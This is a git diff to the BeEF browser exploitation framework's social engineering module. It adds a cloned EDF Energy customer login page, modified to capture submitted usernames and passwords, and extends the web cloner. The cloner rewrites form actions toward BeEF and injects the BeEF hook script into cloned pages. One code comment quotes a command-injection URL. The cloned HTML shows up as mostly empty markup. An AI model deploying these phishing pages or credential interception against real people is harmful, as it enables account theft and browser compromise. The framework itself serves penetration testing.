diff --git a/extensions/social_engineering/config.yaml b/extensions/social_engineering/config.yaml index 84c3a10c2..9bbbc83f7 100644 --- a/extensions/social_engineering/config.yaml +++ b/extensions/social_engineering/config.yaml @@ -36,13 +36,14 @@ beef: # available templates templates: default: - # images are by default inline, so if you want to attach something, see below - images: ["beef_logo.png"]#,"second_image.png"] + # images are by default inline, so if you want to attach something, see 'attachments' below + images: ["beef_logo.png"] images_cids: cid1: "beef_logo.png" - #cid2: "second_image.png" attachments: ["beef_attachment.pdf"] edfenergy: + # my-account.edfenergy.com_mod is an example of a modified page (manually modified in order to + # intercept POST requests) to be served with the web_cloner using use_existing = true images: ["corner-tl.png", "main.png","edf_logo.png","promo-corner-left.png","promo-corner-right-arrow.png","promo-reflection.png","2012.png","corner-bl.png","corner-br.png","bottom-border.png"] images_cids: cid1: "corner-tl.png" diff --git a/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod b/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod new file mode 100644 index 000000000..7d2e32d59 --- /dev/null +++ b/extensions/social_engineering/mass_mailer/templates/edfenergy/my-account.edfenergy.com_mod @@ -0,0 +1,790 @@ + + + + + + + + + + + +MyAccount + + + + + + + + + + + + + + + + +
+ + +
+
+ + + + + + +
+ + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + MyAccount + + + + + + + + + + + + + + + + +
+
+
+ + + + + + + + + + + + + + + + + +
+ + + + + + + + + +
+
+ + +
    +

    +
    + +
    +
+ +
+
+ +
+
+ + + + + + +
+

+ main content +

+
+ +
+ +
+
+
+

Login to MyAccount

+ + + +
+ + + + + + + + + +
+ + + + + + + + + + + + + + +
+ + + + helpPlease enter your username +
+ + + + helpPlease enter the password for this account +
+ + + + + +


+

Forgotten your username or password?

+
+ + +
+
+

Register Today!

+

 

+ +
    +
  • View and pay your bills
    • +
  • Submit your meter reading
    • +
  • Update your details
    • +
  • Sign up for Direct Debit
    • +

+ + + + + +
+ + +    +
+
+

Don't have an online account?
You can still submit a meter reading

+
+
+
+
+
+
+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+ + + + +
+ + + \ No newline at end of file diff --git a/extensions/social_engineering/rest/socialengineering.rb b/extensions/social_engineering/rest/socialengineering.rb index a6aa9d188..a0a85f7c2 100644 --- a/extensions/social_engineering/rest/socialengineering.rb +++ b/extensions/social_engineering/rest/socialengineering.rb @@ -40,6 +40,7 @@ module BeEF body = JSON.parse request.body.read uri = body["url"] mount = body["mount"] + use_existing = body["use_existing"] if uri != nil && mount != nil if (uri =~ URI::regexp).nil? #invalid URI @@ -53,7 +54,7 @@ module BeEF end web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance - success = web_cloner.clone_page(uri,mount) + success = web_cloner.clone_page(uri,mount,use_existing) if success result = { "success" => true, diff --git a/extensions/social_engineering/web_cloner/web_cloner.rb b/extensions/social_engineering/web_cloner/web_cloner.rb index 1cf5feb7f..5f56f2ae8 100644 --- a/extensions/social_engineering/web_cloner/web_cloner.rb +++ b/extensions/social_engineering/web_cloner/web_cloner.rb @@ -27,7 +27,7 @@ module BeEF @beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}" end - def clone_page(url, mount) + def clone_page(url, mount, use_existing) print_info "Cloning page at URL #{url}" uri = URI(url) output = uri.host @@ -35,84 +35,94 @@ module BeEF user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent') success = false - # prevent command injection attacks, passing URLs like (http://antisnatchor'||touch /tmp/foo #). No shells are open in the following case. - begin - IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate","--background"], 'r+') do |wget_io| end - success = true - rescue Exception => e - print_error "Errors executing wget: #{e}" - print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." - end - if success - File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| - File.open("#{@cloned_pages_dir + output}", 'r').each do |line| - # Modify the
line changing the action URI to / in order to be properly intercepted by BeEF - if line.include?(" e + print_error "Errors executing wget: #{e}" + print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." + end - # modify the form 'action' attribute - line_attrs.each do |attr| - if attr.include? "action=\"" - print_info "Form action found: #{attr}" - break + if success + File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| + File.open("#{@cloned_pages_dir + output}", 'r').each do |line| + # Modify the line changing the action URI to / in order to be properly intercepted by BeEF + if line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') + out_file.print add_beef_hook(line) + print_info "BeEF hook added :-D" + else + out_file.print line end - line_attrs[c] = "action=\"#{mount}\"" - - #todo: to be tested, needed in case like yahoo - # delete the form 'onsubmit' attribute - #line_attrs.each do |attr| - # if attr.include? "onsubmit=" - # print_info "Form onsubmit event found: #{attr}" - # break - # end - # cc += 1 - #end - #line_attrs[cc] = "" - - mod_form = line_attrs.join(" ") - print_info "Form action value changed in order to be intercepted :-D" - out_file.print mod_form - # Add the BeEF hook - elsif line.include?("") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook') - out_file.print add_beef_hook(line) - print_info "BeEF hook added :-D" - else - out_file.print line end end end - - if File.size("#{@cloned_pages_dir + output}") > 0 - print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" - - file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve - - # Check if the original URL can be framed - frameable = is_frameable(url) - - interceptor = BeEF::Extension::SocialEngineering::Interceptor - interceptor.set :redirect_to, url - interceptor.set :frameable, frameable - interceptor.set :beef_hook, @beef_hook - interceptor.set :cloned_page, get_page_content(file_path) - interceptor.set :db_entry, persist_page(url,mount) - - @http_server.mount("#{mount}", interceptor.new) - print_info "Mounting cloned page on URL [#{mount}]" - @http_server.remap - success = true - else - print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." - success = false - end end - success + + if File.size("#{@cloned_pages_dir + output}") > 0 + print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]" + + file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve + + # Check if the original URL can be framed + frameable = is_frameable(url) + + interceptor = BeEF::Extension::SocialEngineering::Interceptor + interceptor.set :redirect_to, url + interceptor.set :frameable, frameable + interceptor.set :beef_hook, @beef_hook + interceptor.set :cloned_page, get_page_content(file_path) + interceptor.set :db_entry, persist_page(url,mount) + + @http_server.mount("#{mount}", interceptor.new) + print_info "Mounting cloned page on URL [#{mount}]" + @http_server.remap + success = true + else + print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'." + success = false + end + + success end private